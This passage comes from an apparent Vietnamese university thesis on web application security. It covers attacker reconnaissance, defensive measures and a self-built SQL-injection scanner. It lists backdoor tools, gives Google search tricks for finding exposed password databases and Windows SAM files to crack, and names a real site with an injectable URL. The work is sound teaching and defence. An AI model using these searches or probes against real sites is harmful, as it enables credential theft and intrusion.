Công cụ: members of wheel, administrators cron, At rc, Startup folder, registry

keys, netcat, remote.exe, VNC, BO2K, keystroke loggers, add acct to secadmin

mail aliases login, fpnwclnt.dll

II. KHẢO SÁT ỨNG DỤNG WEB

Phương pháp khảo sát khá phổ biến, đó là Xem mã nguồn và lợi dụng các lỗi cho

phép xem mã nguồn.

Một số ngôn ngữ web thông dụng hiện nay có nhiều lỗi này như Active Server Pages

(ASP), Common Gateway Interface (CGI), ColdFusion Server (CFM), Hypertext

Preprocessor (PHP).

Tìm các site bị lỗi này bằng cách dùng www.google.com, search từ khóa liên quan.

Sử dụng allinurl: trước đoạn string đặc biệt cần kiếm, thì những trang Web tìm kiếm

được chắc chắn sẽ có chuỗi cần tìm.

Ví dụ 11.II-1: "allinurl:/advadmin" (không có ngoặc kép) thì chỉ liệt kê ra những

trang có URL có dạng : http://tentrangweb.com/advadmin.

Tìm các file trên http://www.google.com thì thêm chữ type file: trước tên file cần tìm

trên các chuyên khu web.

Ví dụ 11.II-2:

+ Muốn tìm file mdb (đây là file chứa mật khẩu của các trang Web, dùng Access để

mở) thì vào http://www.google.com và đánh type file:mdb

Page 134: Bao mat ung_dung_web

Khoa CNTT

Chương 11: Tổng kết quá trình tấn công của Hacker

-Trang 131-

+ Tìm file SAM (đây là file chứa Password của Windows NT, dùng L0phtCrack để

Crack) thì vào http://www.google.com và đánh type file:SAM

• Tấn công vượt qua các cơ chế kiểm soát (authentication, authorization)

Bao gồm các phương pháp như đoán mật khẩu, thay đổi thông tin cookies, các kĩ

thuật directory traversal, leo thang đặc quyền, các phương pháp tấn công dựa vào

SQL, SQL injection...

• Tìm hiểu sâu về các chức năng của ứng dụng web

Tìm hiểu cách thực hiện của các phần trong ứng dụng, đặc biệt như các order

input, confirmation, order tracking. Ở đây ta có thể áp dụng các phương pháp như

SQL Injection, input validation...

• Tìm hiểu luồng di chuyển của thông tin

Các thông tin tương tác giữa client và server, các thông tin tương tác với database.

Hiện nay việc viết mã để thực hiện việc giao tiếp thông tin thường phải đảm bảo

được tính hiệu quả (nhanh), và bảo mật (có thể sẽ chậm hơn). Thường thì tính

hiệu quả được ưu tiên hơn do đó có thể sẽ phát sinh lỗi trong quá trình đó và giúp

hacker có thể lợi dụng các lỗi như SQL input...để đoạt quyền điều khiển hệ thống.

III. TẤN CÔNG

Sau khi đã thu thập và khảo sát kỹ càng đối tượng, hacker bắt đầu thực hiện tấn công

nhằm xâm nhập vào hệ thống lấy thông tin, đưa thông tin xấu vào, dành quyền kiểm

soát,… Còn nếu không thành công trong việc xâm nhập, thì Dos là cách thức cuối

cùng mà hacker thường lựa chọn để làm cho hệ thống không thể hoạt đông được.

Page 135: Bao mat ung_dung_web

Khoa CNTT

Chương 11: Tổng kết quá trình tấn công của Hacker

-Trang 132-

Nhận xét:Việc thu thập thông tin là vô cùng quan trọng cho việc tấn công vào một hệ thống

máy đích. Cho dù hacker tấn công theo phương diện phần cứng hay qua ứng dụng thì

việc thu thập vẫn là cần thiết. Vấn đề là việc thực hiện sẽ theo từng bước như thế nào.

Có thể trong những bước đã nêu hacker không cần phải đi qua theo thứ tự hay qua

hết, nhưng việc nắm rõ thông tin của máy đích luôn là điều kiện tiên quyết để dẫn

đến thành công trong việc tấn công.

Tùy vào nội dung thông tin mà hacker thu thập được mà hacker sẽ quyết định tấn

công theo kĩ thuật nào. Do đó, việc bảo mật cho một hệ thống cần đòi hỏi sự kết hợp

không chỉ của riêng nhà quản trị hệ thống mà còn của nhà thiết kế ứng dụng và sự

hợp tác của cả những khách hàng sử dụng ứng dụng. Nhiệm vụ này sẽ được đề cập rõ

hơn trong chương 12.

Page 136: Bao mat ung_dung_web

Khoa CNTT

Chương 12: Tổng kết các biện pháp phòng chống

-Trang 133-

Chương 12

TỔNG KẾT CÁC BIỆN PHÁP PHÒNG CHỐNGNội dung:

Để phòng chống hacker cần vai trò của

I. Với nhà quản trị mạng

II. Với nhà thiết kế ứng dụng Web

III. Với người dùng

Page 137: Bao mat ung_dung_web

Khoa CNTT

Chương 12: Tổng kết các biện pháp phòng chống

-Trang 134-

CHƯƠNG 12:

TỔNG KẾT CÁC BIỆN PHÁP PHÒNG CHỐNG

Phòng chống hacker không phải là nhiệm vụ của riêng những người lập trình Web mà

cần có sự kết hợp, hỗ trợ của người quản trị và chính bản thân người dùng. Thiếu sót

một trong những yếu tố này đều có thể dẫn đến thông tin bị đánh cắp và thậm chí

hacker có thể điều khiển được cả hệ thống mạng. Vì thế, để bảo vệ một hệ thống khỏi

sự tấn công của hacker, luận văn sẽ trình bày theo 3 vai trò: vai trò người quản trị

mạng, vai trò người lập trình ứng dụng và vai trò của người dùng.

I. VỚI NHỮNG NHÀ QUẢN TRỊ MẠNG

• Người quản trị hệ thống cần xác định rõ những đối tượng nào là quan trọng nhất

trong hệ thống cần bảo vệ; xác định rõ mức độ ưu tiên đối với những đối tượng

đó.

Ví dụ các đối tượng cần bảo vệ trên một hệ thống có thể là: Các máy chủ dịch vụ,

các router, các điểm truy nhập hệ thống, các chương trình ứng dụng, hệ quản trị

CSDL, các dịch vụ cung cấp ...

• Cấu hình cho những ứng dụng:

Thận trọng trong việc cấu hình trình chủ và một số ứng dụng. Trình chủ nên hay

không cho phép thực thi những câu lệnh SSI. Ngoài ra phải thiết lập quyền cho

ứng dụng chỉ chạy dưới một số quyền hạn nhất định như trong quản trị cơ sở dữ

liệu ( không nên chạy quyền Admin) tránh trường hợp hacker có thể lợi dụng

chạy những câu lệnh điều khiển hệ thống.

Page 138: Bao mat ung_dung_web

Khoa CNTT

Chương 12: Tổng kết các biện pháp phòng chống

-Trang 135-

• Xác định nguy cơ đối với hệ thống chính là xác định các lỗ hổng bảo mật của các

dịch vụ, ứng dụng trên hệ thống đó. Việc xác định đúng đắn các nguy cơ này giúp

người quản trị có thể tránh được những cuộc tấn công mạng, hoặc có biện pháp

bảo vệ đúng đắn bằng cách thường xuyên cập nhật tin tức trên các nhóm tin về

bảo mật và từ nhà cung cấp phần mềm để phát hiện những lỗi của phần mềm sử

dụng. Khi phát hiện lỗi cần cập nhập những phần mềm mới nhất để tránh trường

hợp hacker lợi dụng những lỗ hổng có trong những ứng dụng chưa được sửa chữa

trong phiên bản cũ.

• Nắm được hoạt động của các phần mềm sử dụng, ý nghĩa của các file cấu hình

quan trọng (như etc/password), áp dụng các biện pháp bảo vệ cấu hình như sử

dụng phương thức mã hóa hashing code (MD5).

• Sử dụng một vài công cụ có thể phát hiện ra các hoạt động truy nhập không hợp

lệ vào một hệ thống như logfile.

• Kiểm soát chặt chẽ các quyền của các tài khoản trên hệ thống; không sử dụng

quyền root trong các trường hợp không cần thiết. Đối với các tài khoản không sử

dụng trên hệ thống cần đổi mật khẩu hoặc hủy bỏ.

• Quản lý mật khẩu một cách chặt chẽ

o Buộc người sử dụng thay đổi mật khẩu trong một thời gian nhất định. Hầu hết

các hệ thống hiện nay đều hỗ trợ cơ chế này; nếu không thay đổi mật khẩu, tài

khoản đó không còn giá trị trên hệ thống.

o Trong trường hợp người sử dụng bị mất mật khẩu, để cấp lại mật khẩu mới

cần có các thủ tục khác để xác thực người sử dụng ...

Page 139: Bao mat ung_dung_web

Khoa CNTT

Chương 12: Tổng kết các biện pháp phòng chống

-Trang 136-

o Cần giám sát và theo dõi chặt chẽ các chương trình đổi mật khẩu; đây thường

là mục tiêu để tấn công.

II. VỚI NHỮNG NHÀ THIẾT KẾ ỨNG DỤNG WEB:

• Đảm bảo dữ liệu được cung cấp từ người dùng là hợp lệ:

Tất cả những dữ liệu được đưa vào ứng dụng phải đảm bảo được kiểm tra kĩ, loại

bỏ hoặc từ chối những kí tự đặc biệt như < > ‘ /…

Tuy nhiên, không nên dùng ngôn ngữ trình khách (như JavaScript, VBScript…)

để kiểm tra dữ liệu nhập hợp lệ vì hacker vẫn có thể lợi dụng để tấn công như

trong kĩ thuật mã hoá URL hay vượt đường dẫn…Cách tốt nhất vẫn là kiểm tra

ngay trên ứng dụng.

Nếu không thể từ chối cũng như lọai bỏ những kí tự, ứng dụng cần kiểm tra dữ

liệu xuất để đảm bảo rằng dữ liệu xuất đến trình duyệt là an toàn.

Ví dụ 12.II-1:

Với SQL Injection, ứng dụng cần xuất một trang báo lỗi do chính ứng dụng qui

định để phòng tránh trường hợp hacker lợi dụng nội dung báo lỗi cú pháp SQL để

lấy thông tin.

Ngoài ra, ứng dụng cần kết hợp với HTTP Header, đặc biệt là thành phần Referer

để đảm bảo trang yêu cầu không xuất phát từ máy hacker như trong kĩ thuật

Buffer Overflow, thao tác trên biến ẩn form,…

• Chứng thực người dùng:

Page 140: Bao mat ung_dung_web

Khoa CNTT

Chương 12: Tổng kết các biện pháp phòng chống

-Trang 137-

Nhiều ứng dụng hiện nay quản lí một phiên làm việc của người dùng bằng

sessionID nhưng sự yếu kém trong cách quản lí một phiên làm việc khiến cho

hacker có thể dễ dàng kiểm soát được một phiên làm việc của người dùng như

trong kĩ thuật “quản lí phiên làm việc”. Vì thế, đối với một phiên làm việc, ứng

dụng cần hủy ngay sau khi trình duyệt đóng kết nối.

• Mã hóa dữ liệu quan trọng:

Những thông tin quan trong như tên/mật khẩu, credit card,… cần được mã hóa để

tránh hacker có thể lấy được nội dung và sử dụng chúng như trong kĩ thuật XSS,

SQL Injection...Ngoài ra, trong quá trình truyền, kết hợp phương pháp SSL để

tránh trường hợp mất mát thông tin trên đường truyền.

Hiện nay trong lĩnh vực mã hóa dữ liệu, có rất nhiều phương pháp mã hóa như mã

hóa khóa bí mật, mã hóa khóa công khai,…nên tùy vào mức độ sử dụng cũng như

tầm quan trọng mà ứng dụng có thể chọn một trong những phương pháp mã hóa

để đảm bảo dữ liệu được bảo mật.

Tuy nhiên, hiện nay nhiều nhà ứng dụng lại mã hóa dữ liệu kết hợp với vài thông

tin như ngày giờ, địa chỉ IP…khiến cho hacker có thể dễ dàng dự đoán, hoặc nội

dung dữ liệu mã hóa quá ngắn khiến cho hacker có thể sử dụng nhưng công cụ

sẵn có để vét cạn những khả năng có thể xảy ra như trong kĩ thuật tấn công

sessionID. Hoặc phương pháp mã hóa đã quá cũ khiến cho hacker có thể dễ dàng

dùng những công cụ giải mã như “John and Ripper”.

Do đó, cần chọn thuật toán mã hóa cùng với khóa để mã hóa sao cho dữ liệu

không dễ dự đoán và bị vét cạn.

Page 141: Bao mat ung_dung_web

Khoa CNTT

Chương 12: Tổng kết các biện pháp phòng chống

-Trang 138-

Ngoài ra, việc dùng SSL là cần thiết để tránh trường hợp dữ liệu bị đánh cắp trên

đường truyền.

• Dùng phần mềm có sẵn:

Hiện nay trên thị trường xuất hiện những phần mểm như Appshield hoạt động

như một proxy, nghĩa là trung gian giữa máy khách và máy chủ, mọi yêu cầu từ

máy khách đều đi qua phần mềm này, nếu phát hiện trong yêu cầu có ẩn chứa khả

năng tấn công lên hệ thống, nó sẽ từ chối yêu cầu, không gửi lên máy chủ nữa mà

sẽ tự động hủy yêu cầu.

• Thiết lập quyền:

Với những ứng dụng, hệ thống chỉ nên cung cấp những quyền hạn nhất định sao

cho ứng dụng đủ thực hiện các chức năng của mình. Không nên đưa quyền cao

nhất, như root vì hacker có thể lợi dụng quyền root này để có thể thực thi những

câu lệnh của hệ thống, như trong kĩ thuật tấn công SQL Injection, Buffer

Overflow…

III. VỚI NGƯỜI SỬ DỤNG ỨNG DỤNG WEB:

• Đưa ra những lời cảnh báo cho người sử dụng Web rủi ro có thể xảy ra, đặc biệt

nên chú ý khi cho phép trình duyệt thực thi ngôn ngữ trình khách trên máy của

mình, vì khả năng lợi dụng ngôn ngữ này là rât lớn như trong kĩ thuật XSS,

sessionID.

• Sau khi sử dụng xong ứng dụng cần thoát ra khỏi hệ thống theo qui định ( như

Sigh-out của Yahoo) để những nội dung quan trọng lưu trữ trong cookie bị hủy

Page 142: Bao mat ung_dung_web

Khoa CNTT

Chương 12: Tổng kết các biện pháp phòng chống

-Trang 139-

bỏ, tránh khả năng hacker vẫn tiếp tục dùng session ID tồn tại đó để đăng nhập

vào hệ thống hợp lệ.

• Quản lý tài khoản:

Người sử dụng cần nhận thức được vai trò quan trọng trong việc bảo vệ tài khoản

của mình. Các hoạt động quản lý tài khoản bao gồm việc bảo vệ mật khẩu, thay

đổi mật khẩu định kỳ, đăng ký thời điểm, ... Sử dụng các phần mềm bảo vệ máy

trạm của người sử dụng, log out khỏi hệ thống sau một thời gian time-out ...

o Phát hiện tài khoản sử dụng trái phép: Người dùng cần được huấn luyện về các

cách phát hiện tài khoản của mình sử dụng trái phép như thế nào. Người sử

dụng cần thường xuyên kiểm tra các hoạt động của mình để đảm bảo không có

người khác lợi dụng tài khoản thực hiện những hành động khác.

Nhận xét:Mặc dù việc bảo mật là khó khăn và hệ thống không bao giờ được xem là đạt 100% về

an toàn nhưng nếu có sự kết hợp đầy đủ giữa ba nhân tố trên thì sẽ giảm thiểu tối đa

những rủi ro có thể xảy ra. Thiếu một trong ba nhân tố đó thì hệ thống luôn nằm trong

trạng thái báo động về độ an toàn.

Page 143: Bao mat ung_dung_web

Khoa CNTT

Phần III: Chương trình Web Checker

-Trang 140-

PHẦN THỨ BA

CHƯƠNG TRÌNH WEB CHECKER

Page 144: Bao mat ung_dung_web

Khoa CNTT

Chương 13: Chương trình Web Checker

-Trang 141-

Chương 13

CHƯƠNG TRÌNH WEB CHECKERNội dung:

I. Đặc tả chương trình Web Checker

II. Kiến trúc chương trình Web Checker

III. Cài đặt

IV. Đánh giá chương trình

Page 145: Bao mat ung_dung_web

Khoa CNTT

Chương 13: Chương trình Web Checker

-Trang 142-

CHƯƠNG 13: CHƯƠNG TRÌNH WEB CHECKER

I. ĐẶC TẢ CHƯƠNG TRÌNH WEB CHECKER

I.1. Tổng quanChương trình “Web Checker” là một ứng dụng dùng để minh họa cho một số kĩ

thuật tấn công đã được trình bày ở phần trên như SQL Injection, Form Field

Manipulation và URL Manipulation, mà trọng tâm là SQL Injection.

Từ ý tưởng đó, chương trình sẽ có khả năng kiểm tra ứng dụng Web có mắc phải

lỗi bảo mật SQL injection, Form Field Manipulation, URL Manipulation hay

không. Bằng cách ứng dụng sẽ nhận trang web cần kiểm tra từ người sử dụng, rồi

tự động tìm thông tin của trang Web và tạo ra các yêu cầu gửi đến trình chủ. Sau

đó nhận, phân tích kết quả trả về để đánh giá, kiểm tra và thông báo cho người sử

dụng.

I.2. Yêu cầuTừ những ý tưởng trên, ứng dụng có những yêu cầu như sau:

I.2.1. Yêu cầu chức năng

• Chức năng duyệt Web.

• Kiểm tra, phát hiện một số lỗ hổng bảo mật của ứng dụng Web như:

o Chèn câu truy vấn SQL (SQL Injection)

o Thao tác trên tham số truyền (Parameter Manipulation)

• Đánh dấu, thông báo kết quả kiểm tra.

• Gợi ý các biện pháp khắc phục đối với lỗ hỗng phát hiện được.

Page 146: Bao mat ung_dung_web

Khoa CNTT

Chương 13: Chương trình Web Checker

-Trang 143-

I.2.2. Yêu cầu phi chức năng

• Dễ sử dụng: ứng dụng phải cung cấp một giao diện trực quan, rõ ràng, dễ

sử dụng.

II.KIẾN TRÚC CHƯƠNG TRÌNH WEB CHECKER

II.1. Kiến trúc chương trình Web CheckerChương trình được chia làm hai tầng:

• Tầng 1 (giao diện) có nhiệm vụ:

o Duyệt Web (cung cấp trang cần kiểm tra).

o Hiển thị kết quả kiểm tra

• Tầng 2 (xử lý) có nhiệm vụ:

o Lấy trang Web được yêu cầu kiểm tra

o Tạo các mẫu thử (lấy dữ liệu kiểm tra kết hợp với thông tin từ trang Web,

đóng gói thành HTTP request) gửi đến trình chủ.

o Xử lý thông tin trả lời từ trình chủ đưa ra kết quả.

Page 147: Bao mat ung_dung_web

Khoa CNTT

Chương 13: Chương trình Web Checker

-Trang 144-

Hình 13.II.1-1: Kiến trúc phân tầng của ứng dụng Web Checker

II.2. Giao tiếp giữa chương trình với trình chủ WebGiao tiếp giữa ứng dụng với trình chủ là giao tiếp giữa client và server. Trong đó

trình chủ là server còn ứng dụng là client kết nối đến server theo kiểu stream socket.

Hình 13.II.2-1: Giao tiếp giữa ứng dụng và trình chủ

Page 148: Bao mat ung_dung_web

Khoa CNTT

Chương 13: Chương trình Web Checker

-Trang 145-

III. CÀI ĐẶT

III.1. Ngôn ngữ cài đặtWeb Checker là ứng dụng có sử dụng giao thức HTTP để trao đổi thông tin trên

mạng. Do đó để công việc lập trình được đơn giản, ứng dụng phải tân dụng các

thư viện lập trình mạng và ActiveX Control có sẵn trong các môi trường lập trình.

Một phần cũng quan trọng không kém đó là ngôn ngữ được chọn là môi trường

cài đặt phải quen thuộc, có thể dễ dàng nhanh chóng vận dụng để xây dựng ứng

dụng.

Với các lý do trên, luận văn chọn MS Visual C++ làm môi trường phát triển cho

ứng dụng.

• Yêu cầu hệ thống:

o Hệ điều hành:WinXp, WinNT, Win 2000, Win 9x với giao thức TCP/IP

o Mạng: Kết nối Internet hoặc trình chủ Web tại máy cục bộ.

o Phần cứng: Ổ cứng còn trống 10 MB.

III.2. Phương pháp cài đặt

III.2.1. Sử dụng mô hình giao diện dạng DialogDo ứng dụng được xây dựng với tính đơn giản dễ sử dụng chỉ gồm một màn hình.

Nên mô hình giao diện được chọn là Dialog.

III.2.2. Sử dụng ActiveX Control (Microsoft Web Browser)Ứng dụng có sử dụng ActiveX Control (Microsoft Web Browser) của MS VC++

để cung cấp chức năng trình duyệt Web. Qua trình duyệt người sử dụng cung cấp

trang Web cần kiểm tra cho ứng dụng.

Page 149: Bao mat ung_dung_web

Khoa CNTT

Chương 13: Chương trình Web Checker

-Trang 146-

III.2.3. Sử dụng giao diện lập trình Window Socket 2Ứng dụng sử dụng giao diện lập trình Window Socket 2 để lập trình stream

socket, kết nối đến trình chủ Web.

III.2.4. Một số lớp và hàm chính được cài đặt trong chương trình

• Lớp CCheckerDlg

class CCheckerDlg : public CDialog

{

public:

void getTestFile(); //Lấy dữ liệu mẫu kiểm

void markChecked(CString &); //đánh dấu vi trí kiểm tra

CString evaluateRslt(Result *); //phân tích kết quả

void scanWeb(); //Kiểm tra trang Web

CArray < Result *, Result *> m_result; //Mảng chứa kết quả

CArray < Test *, Test *> m_Test; //Mảng chứa dữ liệu mẫu kiểm

bool m_IsPost; // Loại yêu cầu POST/GET

CString m_sData; //Dữ liệu trong Header yêu cầu

CString m_HTTPbody; //Phần thân của HTTP trả lời

CString m_HTTPreceive; //Header trả lời

CString m_HTTPsend; //Header yêu cầu

...

protected:

afx_msg void OnBeforeNavigate2Explorer(LPDISPATCH, VARIANT

FAR*, VARIANT FAR*, VARIANT FAR*, VARIANT FAR*, VARIANT FAR*,

BOOL FAR*); //Hàm bắt sự kiện trên trình duyệt Web

private:

Page 150: Bao mat ung_dung_web

Khoa CNTT

Chương 13: Chương trình Web Checker

-Trang 147-

void Browse(); //Gửi/nhận thông với trình chủ

void InsertHTML() //Hiển thị thông tin trả lời thành Web

};

Kế thừa từ lớp CDialog, ngoài nhiệm vụ quản lý dialog, lớp còn có chức năng

sau:

- Thực hiện các yêu cầu duyệt Web của người dùng thông qua phương thức

Browse().

- Hiển thị dữ liệu của biến m_HTTPbody thành trang Web thông qua

phương thức InsertHTML().

- Phương thức getTextFile() đọc dữ liệu mẫu kiểm từ tập tin ngay khi chạy

chương trình và lưu trữ trong mảng m_Test.

- Phương thức scanWeb() là phương thức chính được gọi khi người sử dụng

chọn nút kiểm tra. Phương thức có chức gọi các hàm xử lý khác để kiểm

tra trang Web, phân tích và đưa ra kết quả.

• Lớp Checker

class Checker

{

public:

void inject(CString &, int, CString );

//Chèn dữ liệu mẫu kiểm vào

CString getForumValue(int ,CString ,CString &,CString &,

CString &); //Lấy dữ liệu trong form

Cstring getLinkValue(int ,CString, CString &,CString &)

//Lấy dữ liệu trong liên kết

Checker();

virtual ~Checker();

...

Page 151: Bao mat ung_dung_web

Khoa CNTT

Chương 13: Chương trình Web Checker

-Trang 148-

};

Định nghĩa các phương thức:

- Lấy dữ liệu thực của các đối tượng cần kiểm như form/ liên kết trong trang

sau đó sẽ được chương trình lần lượt chèn các mẫu kiểm thông qua phương

thức inject(…) rồi gửi lên trình chủ.

- Chèn giá trị mẫu kiểm vào dữ liệu của form/ liên kết.

• Lớp Request

class Request

{

public:

Request();

virtual ~Request();

private:

void ParseURL(LPCSTR url,LPSTR protocol,int lprotocol,

LPSTR host,int lhost,LPSTR request,int lrequest,int *port);

//Phân rã chuỗi URL

int SendHTTP(LPCSTR url,LPCSTR headers,BYTE *post, DWORD

postLength,HTTPRequest *req);

//Mở kết nối, gửi HTTP yêu cầu và nhân HTTP trả lời

public:

void SendRequest(bool IsPost, LPCSTR url, CString

&psHeaderSend, CString &psHeaderReceive, CString &psMessage);

//Nếu yêu cầu là GET thì dùng cung cấp của ActiveX còn POST thì gọi hàmSend HTTP

...

};

Định nghĩa các phương thức ở mức thấp là giao tiếp trực tiếp với trình chủ:

Page 152: Bao mat ung_dung_web

Khoa CNTT

Chương 13: Chương trình Web Checker

-Trang 149-

- Phương thức SendHTTP được gọi thông qua các phương thức

SendRequest(…) và Browse(). Phương thức này có nhiệm vụ tạo kết nối

đến trình chủ, gửi yêu cầu và nhận thông điệp trả lời từ trình chủ . Các

thông diệp nhận về sẽ được cập nhật vào biến toàn cục chính là

m_HTTPsend,m_HTTPreceive, m_HTTPbody.

• Lớp Test

class Test

{

public:

Test();

virtual ~Test();

CString m_errType; //Loại lỗ hổng

CString m_errName; //Tên lỗ hổng

CString m_strInject; //Chuỗi ký tự chèn

CArray <CString,CString> m_strRslt; //Các chuỗi kết quả

};

Định nghĩa kiểu dữ liệu mẫu kiểm. Dữ liệu sẽ được đọc từ tập tin test.txt.

Định dạng của tập tin test.txt:

Chuỗi kí tự

sẽ chèn vào

Các mẫu kết quả để phát hiện lỗi Số thứ tự

lỗi

Tên lỗi

%27\1 incorrect syntax\1unclosedquotation mark\1

1\2 SQLInjection

... ... ... ...Các kí tự “\1”, “\2” dùng để phân cách chuỗi.

• Lớp Result

Page 153: Bao mat ung_dung_web

Khoa CNTT

Chương 13: Chương trình Web Checker

-Trang 150-

class Result

{

public:

Result();

virtual ~Result();

CString m_object; //Đối tượng kiểm tra

int m_ind; //vị trí trong trang Web

CString m_properties; //thuộc tính của đối tượng

CArray <CString,CString> m_err; //Mảng danh sách lỗi nếu có

};

Định nghĩa kiểu dữ liệu kết quả, có nhiệm vụ lưu trữ kết quả kiểm tra của

trang Web và được kết xuất ra màn hình chương trình khi kiểm tra xong trang

Web thông qua phương thức ShowResult().

Page 154: Bao mat ung_dung_web

Khoa CNTT

Chương 13: Chương trình Web Checker

-Trang 151-

III.3. MÔ TẢ CHƯƠNG TRÌNH VÀ CÁCH SỬ DỤNG

III.3.1. Màn hình chương trình

Hình 13.III.3.1-1: Thành phần của màn hình chương trình

Màn hình ứng dụng gồm có ba phần chính:

• Ứng dụng web: như một trình dùng để mở trang web cần kiểm tra và hiển

thị kết quả đánh dấu trực tiếp vào vị trí đã kiểm tra trong trang web có an

toàn hay không an toàn.

Page 155: Bao mat ung_dung_web

Khoa CNTT

Chương 13: Chương trình Web Checker

-Trang 152-

• Kết quả: Liệt kê kết quả sau kiểm tra gồm các vị trí đã kiểm tra an toàn

hay không an toàn và những lỗ hổng mà vị trí đó mắc phải.

• Lời khuyên: Nếu phát hiện ra lỗi thì sẽ hiển thị cách phòng chống lỗi đó

khi chọn tên lỗi bên phần kết quả.

III.3.2. Cách sử dụngNgười dùng gõ địa chỉ vào hoặc liên kết đến trang web cần kiểm tra. Sau đó

chọn nút kiểm tra, chương trình sẽ hiển thị kết quả và lời khuyên cách phòng

chống lỗ hổng bị mắc phải

Hình 13.III.3.2-1: Màn hình thông báo kết quả

Page 156: Bao mat ung_dung_web

Khoa CNTT

Chương 13: Chương trình Web Checker

-Trang 153-

Chương trình sẽ đánh dấu trực tiếp vào trang Web vị trí được kiểm tra (màu

xanh là an toàn, màu đỏ là không an toàn).

IV. Đánh giá chương trìnhNhững vấn đề đạt được và những vấn đề hạn chế của chương trình sau khi đã thử

nghiệm trên mạng ảo và trên Internet:

IV.1. Những vấn đề đạt được• Thông phát hiện một số lỗi bảo mật như SQL Injection, Form Field

Manipulation, URL Manipulation của một Ứng dụng Web trên Interbet để

minh họa cho phần lý thuyết của các kỹ thuật đó.

• Thể hiện rõ ràng, trực quan kết quả các vị trí đã kiểm tra.

• Đưa ra các gợi ý về biện pháp phòng chống đối với lỗi bảo mật phát hiện

được.

Ví dụ 13.IV.1-1: Chương trình đã phát hiện được lỗi bảo mật về SQL Injection

của ứng dụng Web (www.progenic.com). Cụ thể là các liên kết đến nội dung tin

tức không được kiểm tra dữ liệu nhập.

http://www.progenic.com/out/?id=5’

...

IV.2. Những vấn đề hạn chế• Do sử dụng cơ chế khá đơn giản là kiểm thử và đánh giá kết quả nhận được,

nên chương trình không thể phát hiện các lỗi bảo mật phức tạp.

• Hiệu quả đạt được thấp đối với các ứng dụng có cách thiết kế lạ.

Page 157: Bao mat ung_dung_web

Khoa CNTT

Chương 13: Chương trình Web Checker

-Trang 154-

Ví dụ 13.IV.2-1: Chương trình đã không phát hiện ra lỗi với ứng dụng Web

(www.thanglongmetalwares.com/sanpham.asp) mặc dù ứng dụng có lỗi bảo mật

SQL Injection. Nguyên nhân thất bại là do ứng dụng lưu trữ câu truy vấn trong

các đối tượng của form nên khi chương trình kiểm tra form sẽ làm thay đổi câu

truy vấn nên đã làm thay đổi hoạt động của ứng dụng Web.

<form method="post" action="Sanpham.asp" name="Sanpham">

<input type="hidden" name="strSQL" value="SELECT * FROM

Products Where Language = 1 ORDER BY Date DESC">

<input type="hidden" name="Page" value="1">

...

Page 158: Bao mat ung_dung_web

Khoa CNTT

Kết luận

-Trang 155-

KẾT LUẬNNội dung:

I. Những vấn đề đạt được

II. Hướng phát triển

Page 159: Bao mat ung_dung_web

Khoa CNTT

Kết luận

-Trang 156-

KẾT LUẬN

I. NHỮNG VẤN ĐỀ ĐẠT ĐƯỢC

Theo yêu cầu đặt ra ban đầu là “Nghiên cứu các kĩ thuật tấn công và bảo mật ứng

dụng Web”, cho đến thời điểm hiện tại, luận văn đã đạt được các nội dung sau:

• Tìm hiểu các kĩ thuật tấn công ứng dụng Web bao gồm các kĩ thuật

o Thao tác trên tham số truyền như URL, biến ẩn form, cookie, HTTP header.

o Chèn mã lệnh thực thi trên trình khách Cross-site Scripting.

o Chèn câu truy vấn SQL

o Đánh chiếm phiên làm việc của người dùng

o Tràn bộ đệm

o Từ chối dịch vụ

o Các kĩ thuật khác như: Mã hóa URL, vượt đường dẫn, kí tự rỗng, ngôn ngữ

phía trình chủ,…

• Các biện pháp bảo mật từ sự kết hợp giữa nhà quản trị mạng, nhà thiết kế ứng

dụng Web và người dùng

• Về chương trình “Web Checker” đã đạt một số nội dung cơ bản sau:

o Kiểm tra một trang Web có khả năng bị tấn công bằng những kĩ thuật chèn câu

lệnh SQL, thay đổi tham số hay không.

o Chương trình cho phép người dùng thực hiện giao tiếp với trình chủ giống như

một trình duyệt thông thường.

Page 160: Bao mat ung_dung_web

Khoa CNTT

Kết luận

-Trang 157-

II. HƯỚNG PHÁT TRIỂN

Trong phạm vi một luận văn đại học, luận văn cơ bản đã đạt được các yêu cầu đặt ra.

Tuy nhiên, các kết quả còn khá khiêm tốn do hạn chế về tài liệu và thời gian. Trong

thời gian tới, nếu có điều kiện, luận văn sẽ cố gắng phát triển thêm những nội dung

sau:

• Tìm hiểu thêm về các kĩ thuật tấn công để đưa ra phương pháp bảo mật ứng dụng

Web ở mức độ sâu hơn.

• Tìm hiểu về vấn đề bảo mật sâu hơn, không chỉ dừng ở mức độ một ứng dụng

Web mà phát triển hơn vần đề bảo mật ở các hệ thống mạng và dịch vụ.

• Khai triển chương trình phát hiện lỗ hổng tốt hơn, trên nhiều phương diện kĩ

thuật.

• Phát triển chương trình như một Proxy giữa trình chủ với các trình duyệt. Mọi yêu

cầu từ trình duyệt hay trả lời từ trình chủ đều phải đi qua chương trình. Bất cứ khi

nào chương trình kiểm tra thấy khả năng tấn công từ trình duyệt, chương trình sẽ

từ chối yêu cầu đó và đóng kết nối.

Page 161: Bao mat ung_dung_web

Khoa CNTT

Phụ lục

-Trang 158-

Phụ lụcNội dung:

A. HTTP header

B. URL Encoding

C. Server Side Include

Page 162: Bao mat ung_dung_web

Khoa CNTT

Phụ lục

-Trang 159-

Phụ lục A: HTTP HEADER

• Các tham số thông thường là tham số có thể dùng trong cả HTTP request và HTTP

response

• Các tham số chỉ có thể dùng trong HTTP Request

Tên Giá trị ví dụAccept text/html, image/*

Accept-Charset iso8859-5

Accept-Encoding gzip, compress

Accept-Language en, fr

Authorization [credentials]

Content-Encoding Gzip

Expect 100-continue

From [email protected]

Tên Giá trị ví dụCache-Control max-age=10

Connection Close

Date Tue, 11 Jul 2000 18:23:51 GMT

Pragma no-cache

Trailer Date

Transfer-Encoding Chunked

Upgrade SHTTP/1.3

Via HTTP/1.1 Proxy1, HTTP/1.1 Proxy2

Warning 112 Disconnected Operation

Page 163: Bao mat ung_dung_web

Khoa CNTT

Phụ lục

-Trang 160-

Host www.microsoft.com

If-Match entity_tag001

If-Modified-Since Tue, 11 Jul 2000 18:23:51 GMT

If-None-Match entity_tag001

If-Range entity_tag001 hay Tue, 11 Jul 2000 18:23:51

GMT

If-Unmodified-Since Tue, 11 Jul 2000 18:23:51 GMT

Max-Forwards 3

Proxy-Authorization [credentials]

Range Bytes=100-599

Referer http://www.microsoft.com/resources.asp

TE trailers

User-Agent Mozilla/4.0 (compatible; MSIE 5.5; Windows

NT 5.0)

• Các tham số chỉ có thể dùng trong HTTP Response

Tên Giá trị ví dụAccept-Ranges None

Age 2147483648(2^31)

ETag b38b9-17dd-367c5dcd

